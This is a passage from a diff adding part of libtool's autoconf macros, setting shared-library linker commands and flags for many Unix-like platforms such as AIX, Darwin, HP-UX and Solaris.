$LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_cmds, $1)="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ [01].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="$tmp_archive_cmds" + fi + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + + if test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = yes; then + runpath_var=LD_RUN_PATH + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + else + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + _LT_AC_TAGVAR(archive_cmds, $1)='' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GCC" = yes; then + case $host_os in aix4.[012]|aix4.[012].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + else + # We have old collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok' + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' + _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + # Exported symbols can be pulled into shared objects from archives + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=' ' + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + # This is similar to how AIX traditionally builds it's shared libraries. + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + # see comment about different semantics on the GNU ld section + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + bsdi[[45]]*) + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=' ' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='true' + # FIXME: Should let the user specify the lib program. + _LT_AC_TAGVAR(old_archive_cmds, $1)='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_automatic, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + fi + ;; + + dgux*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + freebsd1*) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + hpux9*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + ;; + *) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + newsos6) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + openbsd*) + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + else + case $host_os in + openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(archive_cmds, $1)='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + else + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + fi + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + + sco3.2v5*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text' + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + case $host_os in + solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;; + esac + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv4) + case $host_vendor in + sni) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs' + _LT_AC_TAGVAR(hardcode_direct, $1)=no + ;; + motorola) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv4.3*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + _LT_AC_TAGVAR(ld_shlibs, $1)=yes + fi + ;; + + sysv4.2uw2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7*) + _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z ${wl}text' + if test 